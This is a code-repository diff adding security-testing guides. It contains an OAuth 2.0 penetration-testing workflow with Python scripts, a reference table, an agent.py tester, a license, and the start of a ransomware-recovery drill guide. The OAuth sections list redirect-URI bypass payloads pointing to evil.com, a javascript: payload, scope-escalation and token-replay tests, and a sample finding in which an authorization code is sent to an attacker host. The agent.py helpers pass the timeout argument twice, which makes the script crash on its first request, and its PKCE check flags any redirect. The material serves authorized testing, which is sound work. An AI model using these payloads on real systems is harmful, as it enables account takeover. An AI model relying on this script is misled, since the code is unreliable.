lifecycle management in OAuth implementations +- Testing scope escalation where clients request more permissions than authorized +- Assessing OpenID Connect implementations for ID token validation and nonce usage + +**Do not use** without written authorization. OAuth testing may result in token theft or unauthorized access. + +## Prerequisites + +- Written authorization specifying the OAuth provider and client applications in scope +- Test OAuth client registered with the authorization server +- Burp Suite Professional for intercepting OAuth redirects and token flows +- Python 3.10+ with `requests` and `oauthlib` libraries +- Browser developer tools for observing OAuth redirect chains +- Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials) + +## Workflow + +### Step 1: OAuth Flow Reconnaissance + +```python +import requests +import urllib.parse +import re +import hashlib +import base64 +import secrets + +AUTH_SERVER = "https://auth.example.com" +CLIENT_ID = "test-client-id" +REDIRECT_URI = "https://app.example.com/callback" +SCOPE = "openid profile email" + +# Discover OAuth endpoints +well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration") +if well_known.status_code == 200: + config = well_known.json() + print("OAuth/OIDC Configuration:") + print(f" Authorization: {config.get('authorization_endpoint')}") + print(f" Token: {config.get('token_endpoint')}") + print(f" UserInfo: {config.get('userinfo_endpoint')}") + print(f" JWKS: {config.get('jwks_uri')}") + print(f" Supported grants: {config.get('grant_types_supported')}") + print(f" Supported scopes: {config.get('scopes_supported')}") + print(f" PKCE methods: {config.get('code_challenge_methods_supported')}") + auth_endpoint = config['authorization_endpoint'] + token_endpoint = config['token_endpoint'] +else: + # Try common paths + for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]: + resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False) + if resp.status_code in (302, 400): + print(f"Authorization endpoint found: {AUTH_SERVER}{path}") + auth_endpoint = f"{AUTH_SERVER}{path}" + break +``` + +### Step 2: Redirect URI Validation Testing + +```python +# Test redirect_uri validation strictness +REDIRECT_BYPASS_PAYLOADS = [ + # Open redirect variations + REDIRECT_URI, # Legitimate + "https://evil.com", # Different domain + "https://app.example.com.evil.com/callback", # Subdomain of attacker + "https://app.example.com@evil.com/callback", # URL authority confusion + f"{REDIRECT_URI}/../../../evil.com", # Path traversal + f"{REDIRECT_URI}?next=https://evil.com", # Parameter injection + f"{REDIRECT_URI}#https://evil.com", # Fragment injection + f"{REDIRECT_URI}%23evil.com", # Encoded fragment + "https://app.example.com/callback/../../evil", # Relative path + "https://APP.EXAMPLE.COM/callback", # Case variation + "https://app.example.com/Callback", # Path case variation + "https://app.example.com/callback/", # Trailing slash + "https://app.example.com/callback?", # Trailing question mark + "http://app.example.com/callback", # HTTP downgrade + "https://app.example.com:443/callback", # Explicit port + "https://app.example.com:8443/callback", # Different port + f"{REDIRECT_URI}/.evil.com", # Dot segment + "https://app.example.com/callbackevil", # Path prefix match + "javascript://app.example.com/callback%0aalert(1)", # JavaScript protocol +] + +print("=== Redirect URI Validation Testing ===\n") +for redirect in REDIRECT_BYPASS_PAYLOADS: + params = { + "response_type": "code", + "client_id": CLIENT_ID, + "redirect_uri": redirect, + "scope": SCOPE, + "state": secrets.token_urlsafe(32), + } + resp = requests.get(auth_endpoint, params=params, allow_redirects=False) + + if resp.status_code == 302: + location = resp.headers.get("Location", "") + if "code=" in location or redirect in location: + status = "ACCEPTED" + if redirect != REDIRECT_URI: + print(f" [VULNERABLE] {redirect[:70]} -> Redirect accepted") + else: + status = "REDIRECTED" + elif resp.status_code == 400: + status = "REJECTED" + else: + status = f"HTTP {resp.status_code}" + + if redirect == REDIRECT_URI: + print(f" [BASELINE] {redirect[:70]} -> {status}") +``` + +### Step 3: State Parameter (CSRF) Testing + +```python +# Test 1: Missing state parameter +params_no_state = { + "response_type": "code", + "client_id": CLIENT_ID, + "redirect_uri": REDIRECT_URI, + "scope": SCOPE, +} +resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False) +if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""): + print("[CSRF] Authorization code issued without state parameter") + +# Test 2: State parameter reuse +state_value = "fixed_state_value_123" +# Use same state for multiple authorization requests +for i in range(3): + params = {**params_no_state, "state": state_value} + resp = requests.get(auth_endpoint, params=params, allow_redirects=False) + if resp.status_code == 302: + location = resp.headers.get("Location", "") + returned_state = urllib.parse.parse_qs( + urllib.parse.urlparse(location).query).get("state", [None])[0] + if returned_state == state_value: + print(f"[INFO] Same state accepted on attempt {i+1} (check client-side validation)") + +# Test 3: Token exchange without state validation (client-side check) +# Intercept the callback and try exchanging the code without state +print("\nNote: State validation is a client-side check. Verify the callback handler validates state.") +``` + +### Step 4: PKCE Bypass Testing + +```python +# Test if PKCE (Proof Key for Code Exchange) is enforced + +# Generate PKCE values +code_verifier = secrets.token_urlsafe(64)[:128] +code_challenge = base64.urlsafe_b64encode( + hashlib.sha256(code_verifier.encode()).digest() +).decode().rstrip('=') + +# Test 1: Authorization request without PKCE +params_no_pkce = { + "response_type": "code", + "client_id": CLIENT_ID, + "redirect_uri": REDIRECT_URI, + "scope": SCOPE, + "state": secrets.token_urlsafe(32), +} +resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False) +if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""): + print("[PKCE] Authorization code issued without PKCE challenge") + +# Test 2: Token exchange without code_verifier +auth_code = "captured_auth_code" # From intercept +token_resp = requests.post(token_endpoint, data={ + "grant_type": "authorization_code", + "code": auth_code, + "redirect_uri": REDIRECT_URI, + "client_id": CLIENT_ID, + # No code_verifier +}) +if token_resp.status_code == 200: + print("[PKCE] Token issued without code_verifier - PKCE not enforced") + +# Test 3: Token exchange with wrong code_verifier +token_resp = requests.post(token_endpoint, data={ + "grant_type": "authorization_code", + "code": auth_code, + "redirect_uri": REDIRECT_URI, + "client_id": CLIENT_ID, + "code_verifier": "wrong_verifier_value_that_does_not_match", +}) +if token_resp.status_code == 200: + print("[PKCE] Token issued with wrong code_verifier - PKCE validation broken") + +# Test 4: Downgrade from S256 to plain +params_plain_pkce = { + **params_no_pkce, + "code_challenge": code_verifier, # Plain = verifier itself + "code_challenge_method": "plain", +} +resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False) +if resp.status_code == 302: + print("[PKCE] Plain challenge method accepted - vulnerable to interception") +``` + +### Step 5: Scope Escalation and Token Testing + +```python +# Test 1: Request additional scopes beyond what's registered +elevated_scopes = [ + "openid profile email admin", + "openid profile email write:users", + "openid profile email delete:*", + "openid profile email admin:full", + "*", +] + +for scope in elevated_scopes: + params = { + "response_type": "code", + "client_id": CLIENT_ID, + "redirect_uri": REDIRECT_URI, + "scope": scope, + "state": secrets.token_urlsafe(32), + } + resp = requests.get(auth_endpoint, params=params, allow_redirects=False) + if resp.status_code == 302: + location = resp.headers.get("Location", "") + if "code=" in location: + print(f"[SCOPE] Elevated scope accepted: {scope}") + +# Test 2: Token reuse across clients +# Use a token from client A on client B's API +token_a = "access_token_from_client_a" +resp = requests.get("https://other-service.example.com/api/resource", + headers={"Authorization": f"Bearer {token_a}"}) +if resp.status_code == 200: + print("[TOKEN] Token from client A accepted by different service (audience not validated)") + +# Test 3: Refresh token theft and reuse +refresh_token = "captured_refresh_token" +# Try using refresh token with different client_id +token_resp = requests.post(token_endpoint, data={ + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "client_id": "different-client-id", +}) +if token_resp.status_code == 200: + print("[TOKEN] Refresh token accepted for different client - not bound to client") +``` + +### Step 6: Implicit Flow and Token Leakage Testing + +```python +# Test if implicit flow is enabled (should be disabled per OAuth 2.1) +implicit_params = { + "response_type": "token", + "client_id": CLIENT_ID, + "redirect_uri": REDIRECT_URI, + "scope": SCOPE, + "state": secrets.token_urlsafe(32), +} +resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False) +if resp.status_code == 302: + location = resp.headers.get("Location", "") + if "access_token=" in location: + print("[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated/insecure)") + +# Test token leakage via Referer header +# Check if tokens appear in URLs that could leak via Referer +print("\nToken Leakage Checks:") +print(" - Check if access tokens appear in URL query parameters") +print(" - Check if tokens are logged in server access logs") +print(" - Check if callback URL with code is cached by the browser") +print(" - Check if the authorization code is single-use (replay test)") + +# Authorization code replay test +auth_code_to_replay = "captured_auth_code" +for attempt in range(3): + token_resp = requests.post(token_endpoint, data={ + "grant_type": "authorization_code", + "code": auth_code_to_replay, + "redirect_uri": REDIRECT_URI, + "client_id": CLIENT_ID, + "client_secret": "client_secret_value", + }) + print(f" Code replay attempt {attempt+1}: {token_resp.status_code}") + if attempt > 0 and token_resp.status_code == 200: + print(" [VULNERABLE] Authorization code is not single-use") +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Authorization Code Flow** | OAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint | +| **PKCE** | Proof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier/challenge, preventing authorization code interception | +| **Redirect URI Validation** | Authorization server verification that the redirect_uri matches the registered value exactly, preventing code/token theft via open redirect | +| **State Parameter** | Random value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow | +| **Scope Escalation** | Requesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access | +| **Implicit Flow** | Deprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks | + +## Tools & Systems + +- **Burp Suite Professional**: Intercept and manipulate OAuth redirects, authorization codes, and token exchanges +- **EsPReSSO (Burp Extension)**: Automated testing of OAuth and OpenID Connect implementations for known vulnerabilities +- **oauth2-security-tester**: Dedicated tool for testing OAuth 2.0 flows against common attack patterns +- **OWASP ZAP**: Passive scanner that detects OAuth misconfigurations in intercepted traffic +- **jwt.io**: Online JWT decoder for analyzing OAuth access tokens and ID tokens + +## Common Scenarios + +### Scenario: Social Login OAuth Implementation Assessment + +**Context**: A web application implements "Login with Google" and "Login with GitHub" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact. + +**Approach**: +1. Analyze the OAuth configuration at `/.well-known/openid-configuration` for both providers +2. Test redirect URI validation: discover that the application registers `https://app.example.com/callback` but the server accepts `https://app.example.com/callback/..%2fevil` +3. Test state parameter: authorization request includes state but the callback handler does not validate it (CSRF possible) +4. Test PKCE: not implemented for the authorization code flow, making code interception possible on mobile +5. Test implicit flow: still enabled despite not being used by the application +6. Test scope: application requests `openid profile email` but the authorization server also grants `read:repos` without explicit consent +7. Test authorization code replay: code can be exchanged twice, indicating lack of single-use enforcement +8. Test token audience: access token from Google login accepted by GitHub API endpoint (audience not validated) + +**Pitfalls**: +- Only testing the OAuth flow in the browser without intercepting and manipulating redirect parameters +- Not testing both the authorization request and the token exchange independently +- Missing open redirect vulnerabilities in the application that can be chained with OAuth redirect_uri +- Not testing the state parameter validation on the client side (server may include it but client may not check it) +- Assuming PKCE is enforced because the authorization server supports it (client must also send it) + +## Output Format + +``` +## Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft + +**ID**: API-OAUTH-001 +**Severity**: Critical (CVSS 9.3) +**Affected Component**: OAuth 2.0 Authorization Code Flow +**Authorization Server**: auth.example.com + +**Description**: +The authorization server's redirect_uri validation uses prefix matching +instead of exact string matching. An attacker can manipulate the redirect_uri +to redirect the authorization code to an attacker-controlled endpoint, +enabling account takeover. Additionally, PKCE is not enforced and the +state parameter is not validated by the client application. + +**Proof of Concept**: +1. Craft authorization URL with manipulated redirect_uri: + https://auth.example.com/authorize?response_type=code&client_id=app + &redirect_uri=https://app.example.com/callback/../../../evil.com + &scope=openid+profile+email&state=abc123 +2. User authenticates and approves consent +3. Authorization code redirected to https://evil.com?code=AUTH_CODE&state=abc123 +4. Attacker exchanges code at token endpoint (no PKCE required) +5. Attacker receives access token and ID token for victim's account + +**Impact**: +Complete account takeover for any user who clicks a crafted OAuth login link. +The attacker gains full access to the user's profile, email, and any +resources the OAuth scope grants access to. + +**Remediation**: +1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching) +2. Enforce PKCE (S256 method) for all authorization code flow requests +3. Validate the state parameter in the callback handler before exchanging the code +4. Disable the implicit flow on the authorization server +5. Enforce single-use authorization codes with a short TTL (max 60 seconds) +6. Validate the audience (aud) claim in tokens before accepting them +``` diff --git a/skills/cybersecurity/testing-oauth2-implementation-flaws/references/api-reference.md b/skills/cybersecurity/testing-oauth2-implementation-flaws/references/api-reference.md new file mode 100644 index 00000000..456b72d1 --- /dev/null +++ b/skills/cybersecurity/testing-oauth2-implementation-flaws/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: Testing OAuth2 Implementation Flaws + +## OAuth 2.0 Grant Types + +| Grant Type | Use Case | Risk Level | +|------------|----------|------------| +| Authorization Code | Server-side apps | Low (with PKCE) | +| Authorization Code + PKCE | Mobile/SPA apps | Low | +| Implicit | Legacy SPAs | High (deprecated) | +| Client Credentials | Machine-to-machine | Medium | +| Resource Owner Password | Legacy migration | High | + +## OAuth Attack Surface + +| Attack | Severity | Vector | +|--------|----------|--------| +| Redirect URI bypass | Critical | Subdomain, path traversal, encoding | +| Missing state parameter | High | CSRF-based account linking | +| PKCE bypass | High | Authorization code interception | +| Scope escalation | High | Request unauthorized permissions | +| Code reuse | High | Replay authorization code | +| Token in URL fragment | Medium | Referer header leakage | +| Implicit flow | Medium | Token exposure in browser history | + +## Redirect URI Bypass Techniques + +| Technique | Example | +|-----------|---------| +| Subdomain append | `redirect.com.evil.com` | +| Path traversal | `redirect.com/../evil.com` | +| At-sign confusion | `redirect.com@evil.com` | +| Fragment bypass | `redirect.com%23@evil.com` | +| Query parameter | `redirect.com?next=evil.com` | +| HTTP downgrade | `http://` instead of `https://` | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP OAuth flow testing | +| `secrets` | stdlib | State/nonce generation | +| `urllib.parse` | stdlib | URL parameter encoding | +| `hashlib` | stdlib | PKCE code challenge | + +## References + +- OAuth 2.0 Security Best Practices: https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics +- PortSwigger OAuth: https://portswigger.net/web-security/oauth +- RFC 6749: https://www.rfc-editor.org/rfc/rfc6749 +- RFC 7636 (PKCE): https://www.rfc-editor.org/rfc/rfc7636 diff --git a/skills/cybersecurity/testing-oauth2-implementation-flaws/scripts/agent.py b/skills/cybersecurity/testing-oauth2-implementation-flaws/scripts/agent.py new file mode 100755 index 00000000..efab5c18 --- /dev/null +++ b/skills/cybersecurity/testing-oauth2-implementation-flaws/scripts/agent.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python3 +"""Agent for testing OAuth 2.0 implementation flaws. + +Tests OAuth authorization code flow, redirect URI validation, +state/PKCE enforcement, token leakage, scope escalation, and +OIDC ID token validation weaknesses. +""" + +import json +import sys +import secrets +from pathlib import Path +from datetime import datetime +from urllib.parse import urlencode + +try: + import requests +except ImportError: + requests = None + + +class OAuth2TestAgent: + """Tests OAuth 2.0 / OIDC implementations for security flaws.""" + + def __init__(self, auth_url, token_url, client_id, redirect_uri, + output_dir="./oauth2_test"): + self.auth_url = auth_url + self.token_url = token_url + self.client_id = client_id + self.redirect_uri = redirect_uri + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _get(self, url, **kwargs): + if not requests: + return None + kwargs.setdefault("timeout", 10) + kwargs.setdefault("allow_redirects", False) + try: + return requests.get(url, **kwargs, timeout=30) + except requests.RequestException: + return None + + def _post(self, url, **kwargs): + if not requests: + return None + kwargs.setdefault("timeout", 10) + try: + return requests.post(url, **kwargs, timeout=30) + except requests.RequestException: + return None + + def test_redirect_uri_validation(self): + """Test redirect_uri for open redirect and bypass techniques.""" + bypasses = [ + self.redirect_uri + ".evil.com", + self.redirect_uri + "@evil.com", + self.redirect_uri + "/../evil.com", + "https://evil.com", + self.redirect_uri.replace("https://", "http://"), + self.redirect_uri + "%23@evil.com", + self.redirect_uri + "?next=https://evil.com", + ] + results = [] + for uri in bypasses: + params = { + "response_type": "code", "client_id": self.client_id, + "redirect_uri": uri, "scope": "openid", + "state": secrets.token_urlsafe(16), + } + resp = self._get(f"{self.auth_url}?{urlencode(params)}") + if resp and resp.status_code in (301, 302, 303, 307): + location = resp.headers.get("Location", "") + if "code=" in location or uri in location: + results.append({"redirect_uri": uri, "accepted": True, "location": location[:200]}) + self.findings.append({"severity": "critical", "type": "Redirect URI Bypass", + "detail": f"Server accepted redirect_uri: {uri}"}) + return results + + def test_state_parameter(self): + """Test if state parameter is enforced (CSRF protection).""" + params = { + "response_type": "code", "client_id": self.client_id, + "redirect_uri": self.redirect_uri, "scope": "openid", + } + resp = self._get(f"{self.auth_url}?{urlencode(params)}") + if resp and resp.status_code in (301, 302, 303, 307): + location = resp.headers.get("Location", "") + if "state=" not in location: + self.findings.append({"severity": "high", "type": "Missing State Parameter", + "detail": "OAuth flow proceeds without state (CSRF risk)"}) + return {"state_enforced": False} + return {"state_enforced": True} + + def test_pkce_enforcement(self): + """Test if PKCE is required for public clients.""" + params = { + "response_type": "code", "client_id": self.client_id, + "redirect_uri": self.redirect_uri, "scope": "openid", + "state": secrets.token_urlsafe(16), + } + resp = self._get(f"{self.auth_url}?{urlencode(params)}") + if resp and resp.status_code in (301, 302, 303, 307): + self.findings.append({"severity": "high", "type": "PKCE Not Required", + "detail": "Authorization proceeds without code_challenge"}) + return {"pkce_required": False} + return {"pkce_required": True} + + def test_scope_escalation(self, extra_scopes=None): + """Test requesting more scopes than authorized.""" + scopes = extra_scopes or ["admin", "write", "delete", "users:admin", "openid profile email"] + results = [] + for scope in scopes: + params = { + "response_type": "code", "client_id": self.client_id, + "redirect_uri": self.redirect_uri, "scope": scope, + "state": secrets.token_urlsafe(16), + } + resp = self._get(f"{self.auth_url}?{urlencode(params)}") + if resp and resp.status_code in (301, 302, 303, 307): + results.append({"scope": scope, "accepted": True}) + self.findings.append({"severity": "high", "type": "Scope Escalation", + "detail": f"Server granted scope: {scope}"}) + return results + + def test_code_reuse(self, auth_code): + """Test if authorization code can be reused multiple times.""" + data = { + "grant_type": "authorization_code", "code": auth_code, + "client_id": self.client_id, "redirect_uri": self.redirect_uri, + } + resp1 = self._post(self.token_url, data=data) + resp2 = self._post(self.token_url, data=data) + if resp2 and resp2.status_code == 200: + self.findings.append({"severity": "high", "type": "Code Reuse", + "detail": "Authorization code accepted multiple times"}) + return {"reusable": True} + return {"reusable": False} + + def test_token_in_url(self): + """Test if implicit flow returns tokens in URL fragment.""" + params = { + "response_type": "token", "client_id": self.client_id, + "redirect_uri": self.redirect_uri, "scope": "openid", + "state": secrets.token_urlsafe(16), + } + resp = self._get(f"{self.auth_url}?{urlencode(params)}") + if resp and resp.status_code in (301, 302, 303, 307): + location = resp.headers.get("Location", "") + if "access_token=" in location: + self.findings.append({"severity": "medium", "type": "Implicit Flow Token Exposure", + "detail": "Access token returned in URL fragment"}) + return {"token_in_url": True} + return {"token_in_url": False} + + def generate_report(self, auth_code=None): + redirect_results = self.test_redirect_uri_validation() + state = self.test_state_parameter() + pkce = self.test_pkce_enforcement() + scope = self.test_scope_escalation() + token_url = self.test_token_in_url() + code_reuse = self.test_code_reuse(auth_code) if auth_code else None + + report = { + "report_date": datetime.utcnow().isoformat(), + "auth_url": self.auth_url, + "redirect_uri_bypasses": redirect_results, + "state_parameter": state, + "pkce_enforcement": pkce, + "scope_escalation": scope, + "implicit_flow": token_url, + "code_reuse": code_reuse, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "oauth2_test_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 5: + print("Usage: agent.py [--code ]") + sys.exit(1) + auth_url, token_url, client_id, redirect_uri = sys.argv[1:5] + code = None + if "--code" in sys.argv: + code = sys.argv[sys.argv.index("--code") + 1] + agent = OAuth2TestAgent(auth_url, token_url, client_id, redirect_uri) + agent.generate_report(code) + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/testing-ransomware-recovery-procedures/LICENSE b/skills/cybersecurity/testing-ransomware-recovery-procedures/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/cybersecurity/testing-ransomware-recovery-procedures/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/cybersecurity/testing-ransomware-recovery-procedures/SKILL.md b/skills/cybersecurity/testing-ransomware-recovery-procedures/SKILL.md new file mode 100644 index 00000000..16247dda --- /dev/null +++ b/skills/cybersecurity/testing-ransomware-recovery-procedures/SKILL.md @@ -0,0 +1,180 @@ +--- +name: testing-ransomware-recovery-procedures +description: Test and validate ransomware recovery procedures including backup restore + operations, RTO/RPO target verification, recovery sequencing, and clean restore + validation to ensure organizational resilience against destructive ransomware attacks. +domain: cybersecurity +subdomain: incident-response +tags: +- incident-response +- ransomware +- disaster-recovery +- backup +- rto +- rpo +- resilience +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_csf: +- RS.MA-01 +- RS.MA-02 +- RS.AN-03 +- RC.RP-01 +mitre_attack: +- T1486 +- T1490 +- T1070 +- T1078 +- T1489 +--- +# Testing Ransomware Recovery Procedures + +## When to Use + +Use this skill when: +- Validating that ransomware recovery plans actually work under realistic conditions +- Measuring RTO (Recovery Time Objective) and RPO (Recovery Point Objective) against business requirements +- Testing backup restore operations to confirm data integrity and completeness after simulated encryption +- Conducting tabletop exercises or live recovery drills for ransomware scenarios +- Auditing disaster recovery readiness as part of compliance or cyber insurance requirements + +**Do not use** for active incident response during a live ransomware attack. Use dedicated IR playbooks instead. + +## Prerequisites + +- Isolated recovery test environment (air-gapped or network-segmented lab) +- Access to backup infrastructure (Veeam, Commvault, Rubrik, AWS Backup, Azure Backup) +- Documented RTO/RPO targets per application tier from business impact analysis +- Backup copies available for restore testing (production replicas or test snapshots) +- Recovery runbooks with step-by-step procedures for each critical system + +## Workflow + +### Step 1: Define Recovery Test Scope + +Identify critical systems and their tiered recovery targets: + +| Tier | System Type | RTO Target | RPO Target | Example | +|------|------------|------------|------------|---------| +| Tier 1 | Mission-critical | < 1 hour | < 15 min | Active Directory, core database | +| Tier 2 | Business-critical | < 4 hours | < 1 hour | ERP, email, CRM | +| Tier 3 | Business-operational | < 24 hours | < 4 hours | File shares, internal apps | +| Tier 4 | Non-critical | < 72 hours | < 24 hours | Dev/test, analytics | + +### Step 2: Prepare Test Environment + +```bash +# Verify isolated recovery network is segmented +# No routes to production should exist +ip route show | grep -v "192.168.100.0/24" # recovery VLAN only + +# Verify backup catalog is accessible +restic snapshots --repo s3:s3.amazonaws.com/backup-bucket --password-file /etc/restic/pw +# Or for Veeam: +# Get-VBRBackup | Where-Object {$_.JobType -eq "Backup"} | Select Name, LastPointCreationTime +``` + +### Step 3: Execute Restore and Measure RTO + +For each tiered system, measure the full recovery timeline: + +1. **Detection to Decision** - Time from simulated alert to restore decision +2. **Backup Locate** - Time to identify and select the correct clean restore point +3. **Restore Execution** - Time to restore data/VM/application from backup +4. **Validation** - Time to verify data integrity and application functionality +5. **Service Restoration** - Time until the system is fully operational + +``` +Recovery Timeline Measurement: + T0: Incident declared (simulated ransomware detection) + T1: Recovery team assembled and backup identified 